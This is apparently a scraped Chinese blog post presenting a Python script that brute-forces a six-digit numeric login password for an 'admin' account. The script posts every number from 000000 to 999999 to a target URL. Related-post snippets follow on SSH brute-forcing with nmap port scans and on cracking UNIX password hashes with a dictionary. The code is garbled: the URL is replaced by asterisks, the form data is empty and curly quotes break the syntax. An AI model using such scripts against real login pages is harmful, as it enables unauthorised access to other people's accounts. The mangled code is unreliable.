python編寫指令碼暴力破解6位純數字密碼

2021-09-02 05:52:34 字數 741 閱讀 1782

import requests #requests是乙個輕便的http庫

def exp(password):

url=『你想要暴力破解的**

data=#這裡需要檢視傳入的使用者名稱和密碼的英文,檢視html網頁的源**,使用者名稱已經確定是admin

req=requests.post(url,data=data)#模擬http的post請求,返回

if 『not true!』 in req.text:#req.text讀取伺服器響應的內容,如果頁面存在not true!則代表密碼錯誤

print(『wrong password!password is {}』.format(password))

else:

print(『the password is correct!password is {}』.format(password))

exit()

for password in range(999999):#遍歷從000000到999999的數字嘗試

if len(str(password))<6:#確保是6位字串

password=『0』*(6-len(str(password)))+str(password)

else:

password=str(password)

exp(password)

暴力破解指令碼 shell

突然間懵生了乙個想法 然後就做了 第一次覺得工作這麼有趣!內網已經測試能夠成功 外網正在測試,字典比較大估計要跑好幾天 先把指令碼貼出來 bin bash gateway 172.16.80 nmap p 22 172.16.81.grep open a3 grep for cut d f5 hos...

Python 暴力破解UNIX密碼指令碼

coding utf 8 暴力破解unix的密碼,需要輸入字典檔案和unix的密碼檔案 遍歷整個字典,試圖用常用的鹽值來匹配破解雜湊密碼 import crypt def testpass cryptpass salt cryptpass 0 2 dictfile open dictionary.t...

python 暴力破解密碼指令碼

python 暴力破解密碼指令碼 以下,僅為個人測試 環境也是測試環境,暴力破解原理都是一樣的,假設要暴力破解登陸 www.a.com 使用者 testuser的密碼,首先,該 登陸的驗證要支援 無限次的密碼嘗試 假設testuser 的密碼為 6位的純數字 1 先長成 6位純數字密碼字典 impo...